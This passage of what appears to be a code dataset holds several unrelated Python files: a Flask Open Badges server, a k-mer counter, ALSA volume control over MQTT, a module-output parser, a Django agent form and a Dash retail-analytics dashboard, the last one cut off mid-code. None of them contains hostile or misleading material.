RDA and Linked Data on 24 January 2014.\"\"\",\n \"image\": \"http://intro2libsys.info{0}\".format(\n url_for('static', filename=\"img/participant-badge.png\")),\n \"criteria\": \"http://intro2libsys.info/coasl-webinar-2014/\",\n \"tags\": [\"CoASL\", \"Special Libraries\", \"Linked Data\", \"RDA\"],\n \"issuer\": \"http://intro2libsys.info{0}\".format(\n url_for('badge_issuer_org'))})\n\n@app.route('/badge-issuer-organization.json')\ndef badge_issuer_org():\n return jsonify(\n {\"name\": \"intro2libsys.info LLC\",\n \"url\": \"http://intro2libsys.info\",\n \"email\": \"jermnelson@gmail.com\",\n \"revocationList\": \"http://intro2libsys.info{0}\".format(\n url_for('badge_revoked'))})\n\n@app.route('/revoked.json')\ndef badge_revoked():\n return jsonify({})\n\n@app.route(\"/-coasl-webinar-participant-badge.json\")\ndef badge_for_participant(uid):\n participant_badge_location = os.path.join(PROJECT_ROOT,\n 'badges',\n '{0}.json'.format(uid))\n if os.path.exists(participant_badge_location):\n participant_badge = json.load(open(participant_badge_location, 'rb'))\n if os.path.exists(os.path.join(PROJECT_ROOT,\n 'badges',\n 'img', '{0}.png'.format(uid))):\n participant_badge['image'] = \"http://intro2libsys.info/coasl-webinar-2014/{}-coasl-webinar-participant-badge.png\".format(\n uid)\n return jsonify(participant_badge)\n else:\n abort(404)\n\n@app.route(\"/-coasl-webinar-participant-badge.png\")\ndef badge_image_for_participant(uid):\n participant_img_location = os.path.join(PROJECT_ROOT,\n 'badges',\n 'img',\n '{0}.png'.format(uid))\n if os.path.exists(participant_img_location):\n img = None\n with open(participant_img_location, 'rb') as img_file:\n img = img_file.read()\n return Response(img, mimetype='image/png')\n else:\n abort(404)\n\ndef bake_badge(**kwargs):\n assert_url = kwargs.get('url')\n try:\n badge_url = 'http://beta.openbadges.org/baker?assertion={0}'.format(assert_url)\n baking_service = urllib2.urlopen(badge_url)\n raw_image = baking_service.read()\n return raw_image\n except:\n print(\"Exception occurred: {0}\".format(sys.exc_info()))\n return None\n\ndef issue_badge(**kwargs):\n identity_hash = hashlib.sha256(kwargs.get(\"email\"))\n identity_hash.update(IDENTITY_SALT)\n uid = str(uuid.uuid4()).split(\"-\")[0]\n uid_url = \"http://intro2libsys.info/coasl-webinar-2014/{}-coasl-webinar-participant-badge.json\".format(uid)\n print(uid_url) \n badge_json = {\n 'badge': \"http://intro2libsys.info/coasl-webinar-2014/coasl-webinar-participant-badge.json\",\n 'issuedOn': kwargs.get('issuedOne', datetime.datetime.now().isoformat()),\n 'recipient': {\n 'type': \"email\",\n 'hashed': True,\n 'salt': IDENTITY_SALT,\n 'identity': \"sha256${0}\".format(\n identity_hash.hexdigest())},\n 'verify': {\n 'type': 'hosted',\n 'url': uid_url},\n 'uid': uid\n }\n # Save badge to badges directory\n json.dump(badge_json,\n open(os.path.join('badges', '{0}.json'.format(uid)), 'wb'),\n indent=2,\n sort_keys=True)\n raw_badge_img = bake_badge(url=uid_url)\n if raw_badge_img:\n with open(os.path.join('badges', 'img', '{0}.png'.format(uid)), 'wb') as img_file:\n img_file.write(raw_badge_img)\n print(\"Successfully added {0} and badge image\".format(uid))\n else:\n print(\"ERROR unable to issue badge\")\n\n\n@app.route(\"/notebook\")\ndef notebook():\n notebook = json.load(open('CoASL-RDA-Linked-data.ipynb'))\n return jsonify(notebook)\n\n@app.route(\"/\")\ndef index():\n return render_template('index.html')\n\ndef main():\n app.run(port=8002,\n host='0.0.0.0',\n debug=True)\n\nif __name__ == '__main__':\n main()\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":6037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"321447238","text":"#!/usr/bin/env python3\n\n#from scipy.signal import argrelmin\nimport numpy as np\nimport sys\nimport matplotlib.pyplot as plt\n\nfilename = sys.argv[1]\nkmer_length = int(sys.argv[2])\n\nfileop = open(filename, 'r')\n\ndef kmer_count(filename, kmer_length):\n FILE = open(filename, 'r')\n if kmer_length % 2 == 0: raise ValueError('Kmer length cannot be an even number')\n kmers = {}\n for line in FILE:\n header = line\n seq = next(FILE)\n seq = seq.rstrip()\n plus = next(FILE)\n quality = next(FILE)\n #sliding window\n for i in range(0, len(seq) - kmer_length + 1):\n kmer = seq[i:i + kmer_length]\n if kmer in kmers: kmers[kmer] += 1\n else: kmers[kmer] = 1\n return(kmers)\n\nkmers = kmer_count(filename, kmer_length)\n\nkmers_sorted = sorted(kmers.items(), key = lambda x: x[1])\n\ndist_kmer = []\nfor kmer in kmers:\n\tif kmers[kmer] > 5:\n\t\tdist_kmer.append(kmers[kmer])\t\n\nkmer_list = []\nfor kmer in kmers:\n\tkmer_list.append(kmers[kmer])\nkmer_list = sorted(kmer_list)\nkmer_count = {}\n\nfor i in range(min(kmer_list), max(kmer_list)+1):\n\ttempcount = kmer_list.count(i)\n\tkmer_count[i] = tempcount\n\nminkmer = max(kmer_count.values())*100\nvalue_greater_than_minkmer=[]\nfor key, value in sorted(kmer_count.items(), key = lambda x: x[0]):\n#for i in range(1, max(kmer_count.keys())):\n\tprint(key, value, minkmer)\n\tif value < minkmer:\n\t\tminkmer = value\n\telif value > minkmer:\n\t\tprint(key)\n\t\tvalue_greater_than_minkmer.append(value)\n\telse:\n\t\tprint(key-1)\n\t\tbreak\nprint(value_greater_than_minkmer)\nprint(kmer_count)\n\n#plt.hist(kmers.values())\n#plt.plot()\n#plt.savefig('graphforreals.png')\nplt.hist(dist_kmer)\n#plt.xlim([0,45])\n#plt.ylim([0, 100000])\nplt.plot()\nplt.savefig('graphrealfreqy.png')\n#print(sum(kmers.values())/len(kmers))\n\n","sub_path":"guass.py","file_name":"guass.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"74169156","text":"# -*- coding: utf-8 -*-\n\n''''''\nimport sys\nimport time\nimport threading\nfrom numpy.testing import assert_almost_equal\nfrom sklearn.model_selection import train_test_split\nfrom pandas import DataFrame as DF\n\n\ndef train_test_val_split(Dat: DF, x: float, y: float, z: float):\n '''dat: data\n x: train size\n y: validation size\n z: test size'''\n y_ = y / (1 - x)\n z_ = z / (1 - x)\n assert_almost_equal(x + y + z, 1)\n assert_almost_equal(y_ + z_, 1)\n train, valtest = train_test_split(Dat, train_size=x, test_size=y + z)\n val, test = train_test_split(valtest, train_size=y_, test_size=z_)\n return train, val, test\n\n\nclass Spinner:\n busy = False\n delay = 0.1\n\n @staticmethod\n def spinning_cursor():\n while True:\n for cursor in '|/-\\\\':\n yield '.' + cursor\n\n def __init__(self, delay=None):\n self.spinner_generator = self.spinning_cursor()\n if delay and float(delay):\n self.delay = delay\n\n def spinner_task(self):\n while self.busy:\n sys.stdout.write(next(self.spinner_generator))\n sys.stdout.flush()\n time.sleep(self.delay)\n sys.stdout.write('\\b')\n sys.stdout.flush()\n\n def start(self):\n self.busy = True\n threading.Thread(target=self.spinner_task).start()\n\n def stop(self):\n self.busy = False\n time.sleep(self.delay)\n","sub_path":"dockerized_mvp_flask/src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"495736728","text":"import alsaaudio\nfrom threading import Thread, RLock\n\nal_lock = RLock()\ncurrent_volume = 50\ncurrent_state = \"live\"\n\nclass SoundCard:\n def __init__(self, index):\n self.index = index;\n (name, longname) = alsaaudio.card_name(index)\n self.name = name\n self.longname = longname\n self.mixer = None\n\n def loadMixers(self):\n if self.mixer == None:\n self.mixer = []\n i = 0\n for m in alsaaudio.mixers(cardindex=self.index):\n self.mixer.append(alsaaudio.Mixer(m, id=i ,cardindex=self.index))\n i +=1\n\n def getVolume(self):\n for m in self.mixer:\n volumes = m.getvolume()\n for i in range(len(volumes)):\n print(\"Channel %i volume: %i%%\" % (i,volumes[i]))\n\n def setVolume(self, value):\n channel = alsaaudio.MIXER_CHANNEL_ALL\n value = self.__convertVolume(value)\n for m in self.mixer:\n m.setvolume(value, channel)\n\n def __repr__(self):\n return \"[%d]: %s\\n(%s)\" % (self.index, self.name, self.longname)\n\n def __convertVolume(self, value):\n if value < 0:\n return 0\n if value <= 8:\n return round((value * 4) + 17)\n if value <= 20:\n return round((value * 1.4) + 40)\n if value <= 28:\n return round((value * 1.1) + 46)\n if value <= 36:\n return round((value * 0.9) + 51)\n if value <= 49:\n return round((value * 0.6) + 62)\n if value <= 59:\n return round((value * 0.4) + 72)\n if value >= 60:\n return round((value * 0.1) + 90)\n if value > 100:\n return 100\n\n\ndef getSoundCards():\n cards = array()\n for i in alsaaudio.card_indexes():\n cards.append(SoundCard(i))\n return cards\n\ndef setMixerVolume(volume):\n with al_lock:\n try:\n xmos = SoundCard(1)\n xmos.loadMixers()\n xmos.setVolume(volume)\n xmos.getVolume()\n except Exception as err:\n print(\"Volume Set Error\")\n print(err)\n\ndef saveVolume(volume):\n try:\n fd = open('/etc/hap/alsa/volume', 'w')\n fd.write(str(volume))\n fd.close()\n except Exception as err:\n print(\"Save volume error\")\n print(err)\n\ndef resumeVolume():\n global current_volume\n try:\n fd = open('/etc/hap/alsa/volume', 'r')\n volume = int(fd.read())\n fd.close()\n except Exception as err:\n volume = 50\n print(\"Resume volume error\")\n print(err)\n current_volume = volume\n return volume\n\n\ndef setAlsaVolume(payload, client):\n global current_state\n global current_volume\n if str(payload) == \"vol-mute\":\n if(current_state == \"mute\"):\n current_state = \"live\"\n volume = current_volume\n else:\n current_state = \"mute\"\n volume = 0\n elif current_state == \"live\":\n volume = 0\n try:\n volume = int(payload)\n except:\n if str(payload) == \"vol-plus\":\n volume = current_volume + 5\n elif str(payload) == \"vol-minus\":\n volume = current_volume - 5\n if volume < 0:\n volume = 0\n if volume > 100:\n volume = 100\n current_volume = volume\n saveVolume(current_volume)\n\n setMixerVolume(volume)\n\n try:\n if(current_state == \"mute\"):\n client.publish('hap/alsa/volume', \"mute\")\n else:\n client.publish('hap/alsa/volume', int(volume))\n except Exception as err:\n print(\"MQTT Error\")\n print(err)\n","sub_path":"happower/alsa.py","file_name":"alsa.py","file_ext":"py","file_size_in_byte":3667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"176220662","text":"#Script to parse the output of the 4.17.12.30_mods output\n\n#Written by Joe Reistetter\n\nclass Mod:\n \"\"\"Holds a module name, its parents, and CPD\"\"\"\n def __init__(self, tup):\n self.name = tup[0]\n self.parents = tup[1]\n self.cpd = tup[2]\n\n def print_mod(self, file_obj):\n if self.parents[0] == '':\n line = self.name + '\\t' + '\\t'.join(['NA']*5)\n file_obj.write(line + '\\n')\n\n else:\n for cpd_list in self.cpd:\n line = self.name.strip() + '\\t'\n line += ' '.join(self.parents)\n line += '\\t' + cpd_list[0] + '\\t'\n line += '\\t'.join(cpd_list[1])\n file_obj.write(line + '\\n')\n\nclass GeneList:\n \"\"\"Holds the genes assigned to a module\"\"\"\n def __init__(self, tup):\n self.name = tup[0]\n self.genes = tup[1]\n\n def print_mod(self, file_obj):\n for gene in self.genes:\n line = self.name + '\\t' + gene + '\\n'\n file_obj.write(line)\n\nclass Pathway:\n \"\"\"Holds the genes that are pathway leading to module\"\"\"\n def __init__(self, tup):\n self.name = tup[0]\n self.genes = tup[1]\n\n def print_mod(self, file_obj):\n line = self.name + ':' + '\\t'.join(self.genes) + '\\n'\n file_obj.write(line)\n \n \n\ndef parse_par_block(par_block):\n vals = par_block.split(\"'\")\n mod_name = vals[1]\n \n #mod_parents looks like '(RV3244C RV0237) '\n mod_parents = vals[2]\n #remove surrounding whitespace\n mod_parents = mod_parents.strip()\n #remove parens and separate the values\n mod_parents = mod_parents[1:-1].split(' ')\n \n #pull out CPD for each combo of parent values\n cpds_split = vals[3].split(') (')\n cpds = []\n for cpd in cpds_split:\n cpd_vals = cpd.split(')')\n cpd_vals[0] = cpd_vals[0].strip('()')\n cpd_vals[1] = cpd_vals[1].split()\n cpds.append(cpd_vals)\n\n #Last three )) screw up the split, remove the empty list elements\n cpds[-1] = cpds[-1][:2]\n return tuple([mod_name, mod_parents, cpds])\n\ndef parse_modules(path, out):\n f = open(path, 'r')\n txt = f.read()\n #Pull out the parent assignments\n #Split on \"Scheme\", use first portion\n par_raw = txt.split('Scheme')[0]\n #Pull out each block of text representing one module\n #Last element is blank so exclude that as well.\n par_blocks = par_raw.split('\\n\\n')[:-1]\n\n out_f = open(out, 'w')\n header = ['moduleID', 'parents', 'parent_state', 'mod_down', 'mod_nochange', 'mod_up']\n out_f.write('\\t'.join(header) + '\\n')\n\n mods = []\n for block in par_blocks:\n mod = Mod(parse_par_block(block))\n mod.print_mod(out_f)\n\ndef parse_members(path, out):\n f = open(path, 'r')\n txt = f.read()\n mod_txt = txt.split('Assignments.............\\n')[1].strip().split('\\n')\n\n out_f = open(out, 'w')\n headers = ['moduleID', 'gene']\n out_f.write('\\t'.join(headers) + '\\n')\n \n \n for mod_chunk in mod_txt:\n vals = mod_chunk.split(':')\n mod_id = vals[0].split('{')[1].strip(' }')\n\n mod_members = []\n\n for val in vals[1].split():\n if 'RV' in val:\n mod_members.append(val)\n\n mod = GeneList(tuple([mod_id, mod_members]))\n mod.print_mod(out_f)\n\ndef parse_pathways(path, out):\n f = open(path, 'r')\n txt = f.read()\n path_chunks = txt.strip().split('\\n')\n\n out_f = open(out, 'w')\n \n for chunk in path_chunks:\n vals = chunk.split(':')\n mod_id = vals[1].strip().split(' ')[1]\n\n proteins = []\n \n for val in vals[0].split(' '):\n if 'RV' in val:\n #List has pRV0667, remove p and append\n proteins.append(val[1:])\n\n pathway = Pathway(tuple([mod_id, proteins]))\n pathway.print_mod(out_f)\n \n \n \n \ndef main():\n import os\n root_path = os.path.expanduser('~/Dropbox/thesis_work/PMN_output/')\n mods_path = root_path + '4.17.12.30_mods_output.txt'\n protein_path = root_path + '4.17.12.30_mods_output_pathways.txt'\n \n out_path = root_path + '4.17.30_mods_parsed.txt'\n members_out = root_path + '4.17.30_mods_members.txt'\n pathways_out = root_path + '4.17.30_mods_pathways.txt'\n \n \n parse_modules(mods_path, out_path)\n parse_members(mods_path, members_out)\n parse_pathways(protein_path, pathways_out)\n\n\nif __name__ == '__main__':\n main()\n\n\n \n","sub_path":"PMN_output/4_17_30_mods_parse.py","file_name":"4_17_30_mods_parse.py","file_ext":"py","file_size_in_byte":4456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"53696146","text":"from django import forms\n\nfrom localflavor.br.forms import BRCNPJField, BRCPFField, BRPhoneNumberField, BRZipCodeField\n\nfrom siscoban.accounts import choices\nfrom siscoban.accounts.models import User\n\n\nUSER_FIELDS = (\n 'username', 'first_name', 'document', 'martial_status', 'sex', 'birthday', 'age', 'hometown', 'cep', 'county', 'uf',\n 'email', 'phone', 'phone2', 'phone3', 'ctps', 'contract', 'voters_title', 'nit', 'cnpj', 'cpf', 'rg', 'address',\n 'education_level', 'issuing_authority', 'issuance_date', 'is_savings', 'agency', 'cc', 'district', 'file_contract',\n 'pre_supervisor', 'pay_table')\n\n\nclass AgentForm(forms.ModelForm):\n save_continue = forms.BooleanField(required=False)\n\n first_name = forms.CharField(\n widget=forms.TextInput(attrs={'placeholder': 'Operador'}), label='Operador')\n\n sex = forms.CharField(\n widget=forms.RadioSelect(choices=choices.SEX_CHOICES), label='Sexo')\n\n document = forms.CharField(\n widget=forms.RadioSelect(choices=choices.DOCUMENT_CHOICES), label='Documento')\n\n cpf = BRCPFField(label='CPF', required=False)\n cnpj = BRCNPJField(label='CNPJ', required=False)\n phone = BRPhoneNumberField(label='Celular 1')\n phone2 = BRPhoneNumberField(label='Celular 2', required=False)\n phone3 = BRPhoneNumberField(label='Telefone fixo', required=False)\n cep = BRZipCodeField(label='CEP')\n\n file_contract = forms.FileField(\n widget=forms.ClearableFileInput(attrs={'multiple': True}),\n label=\"Anexar contrato\", required=False)\n\n def clean(self):\n cleaned_data = super(AgentForm, self).clean()\n document = cleaned_data.get(\"document\")\n cpf = cleaned_data.get(\"cpf\")\n cnpj = cleaned_data.get(\"cnpj\")\n\n if not (cpf and cnpj):\n if document == '1' and not cpf:\n self.fields['cpf'].required = True\n elif document == '2' and not cnpj:\n self.fields['cnpj'].required = True\n\n return cleaned_data\n\n class Meta:\n model = User\n fields = USER_FIELDS + ('username', 'save_continue')\n","sub_path":"siscoban/agent/forms/agent.py","file_name":"agent.py","file_ext":"py","file_size_in_byte":2079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"468012585","text":"import dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport dash_bootstrap_components as dbc\nfrom dash.dependencies import Input, Output\nfrom dash.exceptions import PreventUpdate\n\nfrom graphs import *\nfrom styles import *\nfrom layouts import *\nfrom model import *\nfrom result import *\n\napp = dash.Dash(external_stylesheets=[\n dbc.themes.LUX], suppress_callback_exceptions=True)\n\n\n##################################################################################################################################\n############################################################## CONTENIDO #########################################################\n##################################################################################################################################\n\n# ____________________________________________CONTENIDO HOJA 1 ___________________________________________________________________\n\nresumen = html.Div([\n html.H1([\"Offcorss Dash Frecuencia\"], style=CONTENT_STYLE),\n html.Div(\n [dbc.Row(dbc.Col(html.H5(\"Resumen de la base:\")))\n ], style={}),\n tabla1,\n html.P([\"Información desde >>>> \" + bd_unicos.iloc[:, 5]\n [0] + \" hasta >>>> \" + bd_unicos.iloc[:, 6][0]])\n], style={\"margin-left\": \"10rem\"})\n\n\ntab1_content = html.Div([\n graphs_tab1,\n html.Div(id=\"prueba\"),\n], style={\"margin-left\": \"10rem\"}\n)\n\n\ntab2_content = html.Div([\n graphs_tab2,\n html.Div([\n html.H4([\"Geolocalización tiendas\"], style=CONTENT_STYLE_SUBTITLE),\n dbc.Row(\n dbc.Col(\n html.Div([\n dbc.RadioItems(\n id=\"map_radio_items\",\n value=\"frecuencia\",\n className=\"m-3\",\n options=[\n {\"label\": \"frecuencia\", \"value\": \"frecuencia\"},\n {\"label\": \"revenues\", \"value\": \"revenues\"}\n ])\n ], style={\"display\": \"flex\", \"justify-content\": \"center\"})\n )\n ),\n dbc.Row([\n dbc.Col([\n html.Div([html.H5(\"Frecuencia tiendas físicas\")],\n style={\"margin-left\": \"5rem\"}),\n map_graph1\n ]),\n dbc.Col([\n html.Div([html.H5(\"Frecuencia tiendas virtuales\")],\n style={\"margin-left\": \"5rem\"}),\n map_graph2\n ]),\n ])\n ]),\n html.H4([\"Comparador de frecuencia por tienda\"],\n style=CONTENT_STYLE_SUBTITLE),\n html.Div([\n dbc.Row([\n dbc.Col([\n dcc.Graph(id=\"graf9\", figure=graf9)\n ], align=\"center\", width=9),\n ]),\n ], style={\"display\": \"flex\", \"justify-content\": \"center\"}),\n dbc.Row([\n dbc.Col([\n dropdown4_1,\n dropdown5_1,\n dropdown6_1,\n dbc.Button(\"Borrar\", color=\"Primary\", id=\"boton_borrar\"),\n ], width=4),\n\n dbc.Col([\n dcc.Graph(id=\"graf8\", figure=graf8)\n ]),\n ]),\n\n], style={\"margin-left\": \"10rem\"})\n\n#----------------------------------------------------------------------------------------------------------- Tabs\n\ntab_style = {\n 'borderBottom': '1px solid #d6d6d6',\n 'padding': '6px',\n 'fontWeight': 'bold'\n}\n\ntab_selected_style = {\n 'borderTop': '1px solid #d6d6d6',\n 'borderBottom': '1px solid #d6d6d6',\n 'backgroundColor': 'cornsilk',\n 'color': 'black',\n 'padding': '6px'\n}\n\n\ntabs = dcc.Tabs(\n children=[\n dcc.Tab(tab1_content, label=\"Contexto\", style=tab_style,\n selected_style=tab_selected_style),\n dcc.Tab(tab2_content, label=\"Frecuencia\", style=tab_style,\n selected_style=tab_selected_style),\n\n ],\n)\n\n# ___________________________________________ CONTENIDO HOJA 2 ___________________________________________________________________\n# Ver hoja layout línea 387\n\n# ___________________________________________ CONTENIDO HOJA 3 ___________________________________________________________________\ncontent3 = html.Div([\n html.H1([\"RECOMENDACIONES\"], style=CONTENT_STYLE),\n html.P(\"Vet el top 10 de productos y su detalle. \\\n Elegir primero una categoria de edad masculina o femenina, y luego el clúster deseado.\"),\n html.Div([\n html.H4([\"Productos más populares\"], style=CONTENT_STYLE_SUBTITLE)\n ]),\n\n html.Div([\n dbc.Row([\n dbc.Col([\n html.P(\"Top 10 / Bottom 5:\"),\n dropdown_top,\n ]),\n dbc.Col([\n html.P(\"Seleccionar clúster:\"),\n dropdown_clu,\n ]),\n dbc.Col([\n html.P(\"Seleccionar producto:\"),\n dropdown_prod,\n ]),\n\n ])\n ], style = {\"margin-bottom\":\"2rem\"}),\n\n dbc.Row([\n dbc.Col([\n html.Div([\n html.Img(src=app.get_asset_url('niños_03.jpg'),\n style={\"height\": \"50%\", \"width\": \"23%\"}),\n dbc.Button(\"Primi\", size=\"lg\", className=\"m-2\",\n color=\"warning\", id=\"primi_m\"),\n dbc.Button(\"Bebe\", size=\"lg\", className=\"m-2\",\n color=\"warning\", id=\"bebe_m\"),\n dbc.Button(\"Niño\", size=\"lg\", className=\"m-2\",\n color=\"warning\", id=\"niño_m\")\n ], style={\"margin-left\": \"10rem\"})\n\n ]),\n\n dbc.Col([\n html.Div([\n html.Img(src=app.get_asset_url('niñas_03.jpg'),\n style={\"height\": \"50%\", \"width\": \"15%\"}),\n dbc.Button(\"Primi\", size=\"lg\", className=\"m-2\",\n color=\"warning\", id=\"primi_f\"),\n dbc.Button(\"Bebe\", size=\"lg\", className=\"m-2\",\n color=\"warning\", id=\"bebe_f\"),\n dbc.Button(\"Niña\", size=\"lg\", className=\"m-2\",\n color=\"warning\", id=\"niño_f\")\n ], style={}\n ),\n ])\n ]),\n\n html.Div([\n dbc.Row([\n dbc.Col(\n dcc.Graph(id=\"rg1\", figure=rg1),\n ),\n dbc.Col(\n dcc.Graph(id=\"rg2\", figure=rg2)\n )\n ])\n ]),\n\n], style={\"margin-left\": \"10rem\"}\n)\n\n# ___________________________________________________ LAYOUT _______________________________________________________________\n\napp.layout = html.Div([\n dcc.Location(id=\"url\"), # refresh = False\n html.Div(sidebar(\"none\"), style={\"display\": \"none\"}),\n main_page(app, True),\n html.Div(content_us(app, False), style={\"display\": \"none\"}),\n], id=\"page-content\")\n\nhoja_principal = html.Div([\n html.Div(sidebar(\"none\"), style={\"display\": \"none\"}),\n main_page(app, True),\n html.Div(content_us(app, False), style={\"display\": \"none\"}),\n])\n\nhoja_1_layout = html.Div([\n sidebar(\"block\"),\n resumen,\n tabs,\n main_page(app, False),\n html.Div(content_us(app, False), style={\"display\": \"none\"}),\n html.Div(id='page-1-content'),\n])\n\nhoja_2_layout = html.Div([\n sidebar(\"block\"), content2,\n main_page(app, False),\n html.Div(content_us(app, False), style={\"display\": \"none\"}),\n])\n\n\nhoja_3_layout = html.Div([\n sidebar(\"block\"), content3,\n main_page(app, False),\n html.Div(content_us(app, False), style={\"display\": \"none\"}),\n])\n\nlayout_nosotros = html.Div([\n html.Div(sidebar(\"none\"), style={\n \"display\": \"none\"}), content_us(app, True),\n main_page(app, False),\n])\n\ndoc_layout = html.Div([\n sidebar(\"block\"), documentation,\n main_page(app, False),\n html.Div(content_us(app, False), style={\"display\": \"none\"}),\n])\n\n\n################################################################################################################################\n######################################### INTERACTIVIDAD #########################################################\n################################################################################################################################\n\n@app.callback(\n [Output(f\"link_hoja_{i}\", \"active\") for i in range(1, 4)],\n [Input(\"url\", \"pathname\")],\n)\ndef habilitar_link(pathname):\n if pathname == \"/\":\n return True, False, False\n return [pathname == f\"/hoja-{i}\" for i in range(1, 4)]\n\n\n@app.callback(\n Output(\"page-content\", \"children\"),\n [\n Input(\"link-hoja-main\", \"n_clicks\"),\n Input(\"link-hoja-1\", \"n_clicks\"),\n Input(\"link-hoja-2\", \"n_clicks\"),\n Input(\"link-hoja-3\", \"n_clicks\"),\n Input(\"link-hoja-4\", \"n_clicks\"),\n Input(\"button-kpi\", \"n_clicks\"),\n Input(\"button-cluster\", \"n_clicks\"),\n Input(\"button-result\", \"n_clicks\"),\n Input(\"button-doc\", \"n_clicks\"),\n Input(\"button-us\", \"n_clicks\"),\n Input(\"back-button\", \"n_clicks\")\n ]\n)\ndef display_page(btn1, btn2, btn3, btn4, btn5, btn6, btn7, btn8, btn9, btn10, btn11):\n changed_id = [p['prop_id'] for p in dash.callback_context.triggered][0]\n if \"link-hoja-1\" in changed_id or \"button-kpi\" in changed_id:\n return hoja_1_layout\n elif \"link-hoja-2\" in changed_id or \"button-cluster\" in changed_id:\n return hoja_2_layout\n elif \"link-hoja-3\" in changed_id or \"button-result\" in changed_id:\n return hoja_3_layout\n elif \"button-us\" in changed_id:\n return layout_nosotros\n elif \"button-doc\" in changed_id:\n return doc_layout\n else:\n return hoja_principal\n\n# ------------------------------------------------------------------------- Callback para cambiar graf con tiempo, y entre $ y Qt\n\n\n@app.callback(\n [Output(\"graf1\", \"figure\"), Output(\"graf3\", \"figure\")],\n [Input(\"date_dropdown\", \"value\"), Input(\"radio_items\", \"value\")]\n)\ndef foo(drop, radio):\n graf1 = px.bar(bd_agr_month, x=drop, y=radio, color=\"tipo_tienda\", width=800, height=400,\n color_discrete_map={\n \"TIENDA PROPIA\": \"gold\",\n \"TIENDA VIRTUAL\": \"black\",\n \"FRANQUICIAS\": \"silver\"\n },\n category_orders={\"tipo_tienda\": [\n \"TIENDA PROPIA\", \"TIENDA VIRTUAL\", \"FRANQUICIAS\"]},\n title=\"Ingresos por canal (Millones COP)\")\n graf1.update_layout(xaxis_tickangle=90)\n\n# GRAFICA 3: PIE Share de ingresos\n graf3 = px.pie(bd_agr_month, values=radio, names='tipo_tienda', color=\"tipo_tienda\", width=400, height=400,\n color_discrete_map={\n \"TIENDA PROPIA\": \"gold\",\n \"TIENDA VIRTUAL\": \"black\",\n \"FRANQUICIAS\": \"silver\"\n },\n title='%Ingresos por canal')\n\n return graf1, graf3\n\n\n@app.callback([\n Output(\"map_graph1\", \"figure\"), Output(\"map_graph2\", \"figure\")\n], Input(\"map_radio_items\", \"value\"))\ndef change_map(radio):\n map1 = px.scatter_mapbox(centro_region_agr_2019_TP, lat=\"latitud_c\", lon=\"longitud_c\", color=radio,\n size=\"visitas\", mapbox_style=\"carto-positron\",\n height=700, width=600, zoom=4.5)\n\n map2 = px.scatter_mapbox(centro_region_agr_2019_TV, lat=\"latitud_m\", lon=\"longitud_m\", color=radio,\n size=\"visitas\", mapbox_style=\"carto-positron\",\n height=700, width=600, zoom=4.5)\n\n return map1, map2\n\n\n# ---------------------------------------------------------------------------------------- Callback para cambiar tiempo de graf5\n@app.callback(\n Output(\"graf5\", \"figure\"),\n Input(\"date_dropdown\", \"value\")\n)\ndef prueba(valor):\n if valor == \"trim_año\":\n return graf5_1\n elif valor == \"year\":\n return graf5_2\n else:\n return graf5\n\n\n# --------------------------------------------------------------------------------- Callback para el dropdown tienda de la graf8\n\n@app.callback(\n Output(\"dropdown61_tienda\", \"options\"),\n Input(\"dropdown51_canal\", \"value\")\n)\ndef selector_tienda(canal1):\n if canal1 == \"TIENDA PROPIA\":\n return[{\"label\": i, \"value\": i} for i in\n bd_frec_tienda2[bd_frec_tienda2[\"tipo_tienda\"] == canal1][\"d_centro\"].sort_values().unique()]\n\n elif canal1 == \"FRANQUICIAS\":\n return [{\"label\": i, \"value\": i} for i in\n bd_frec_tienda2[bd_frec_tienda2[\"tipo_tienda\"] == canal1][\"d_centro\"].sort_values().unique()]\n else:\n return [{\"label\": i, \"value\": i} for i in\n bd_frec_tienda2[bd_frec_tienda2[\"tipo_tienda\"] == canal1][\"d_centro\"].sort_values().unique()]\n\n\n# ------------------------------------------------------------------------------ Callback para el pintar y borrar tienda en graf8\n\n\n@app.callback(\n Output(\"graf8\", \"figure\"),\n [Input(\"dropdown61_tienda\", \"value\"),\n Input(\"dropdown41_año\", \"value\"), Input(\"boton_borrar\", \"n_clicks\")]\n)\ndef pinta_tienda1(tienda_1, año_1, n_clicks):\n changed_ids = [p['prop_id'].split('.')[0] for p in dash.callback_context.triggered]\n button_pressed = 'boton_borrar' in changed_ids\n\n if not button_pressed:\n trace1_df = bd_frec_tienda2[(bd_frec_tienda2[\"yeard\"] == año_1) &\n (bd_frec_tienda2[\"d_centro\"] != \"TIENDA SAN ANDRES 2\") &\n (bd_frec_tienda2[\"d_centro\"] == tienda_1)]\n\n\n \n graf8.add_traces(go.Scatter(x=trace1_df[\"mes\"],\n y=trace1_df[\"freq_acum\"],\n mode='lines+markers',\n name=str(año_1) + \" \" + str(tienda_1),\n ),)\n return graf8\n else:\n graf8.update_traces(go.Scatter(x= [], \n y= [], \n mode='lines+markers',\n name=\"\",\n line = dict(color = \"black\")),\n )\n return graf8\n\n# __________________________________________ CALLBACKS HOJA 2 ____________________________________________________________________\n\n\n@app.callback(\n [Output(\"mg3\", \"figure\"), Output(\"mg4\", \"figure\")],\n [Input(\"clu_dropdown_x\", \"value\"),\n Input(\"clu_dropdown_y\", \"value\"),\n Input(\"slider_ticket\", \"value\"),\n Input(\"slider_recencia\", \"value\"),\n Input(\"drop_tree\", \"value\"),\n\n ]\n)\ndef change_par(valor_eje_x, valor_eje_y, ticket, recencia, drop_tree):\n updated_df = df_cluster2[(df_cluster2[\"recencia_meses\"] <= recencia[1]) &\n (df_cluster2[\"recencia_meses\"] > recencia[0]) &\n (df_cluster2[\"ticket_prom_compra\"] <= ticket[1]) &\n (df_cluster2[\"ticket_prom_compra\"] > ticket[0])\n ]\n\n mg3 = px.scatter(updated_df,\n x=valor_eje_x,\n y=valor_eje_y,\n color=\"cluster_name\",\n title='Scatter pares de variables',\n height=550)\n\n mg4 = px.treemap(updated_df, 